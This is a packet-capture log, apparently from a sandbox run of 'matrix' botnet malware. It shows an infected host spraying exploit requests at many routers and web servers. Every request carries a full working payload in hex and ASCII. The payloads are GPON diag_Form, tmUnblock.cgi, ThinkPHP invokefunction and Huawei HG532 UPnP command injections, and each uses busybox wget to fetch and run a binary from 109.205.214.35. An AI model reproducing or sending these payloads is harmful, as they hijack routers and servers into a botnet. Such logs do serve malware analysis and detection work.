Mar 21, 2024 05:18:12.807725906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.13	40558	109.54.192.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807843924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.13	54856	118.7.154.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807907104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.13	39778	37.116.41.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807936907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.13	50028	172.65.145.199	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:13.468626976 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.13	39092	172.67.223.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:13.468696117 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.13	49528	112.74.219.8	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.739106894 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:16.174377918 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:15 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:18:17.495183945 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:15 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.13	36240	210.70.195.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.829013109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.13	53058	79.39.195.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.829054117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.13	44574	37.105.35.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.829071045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.13	44064	212.76.44.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:15.829096079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.13	40262	156.235.103.213	37215

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.086381912 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:17.942918062 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:18.931798935 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:20.886925936 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:24.819823027 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 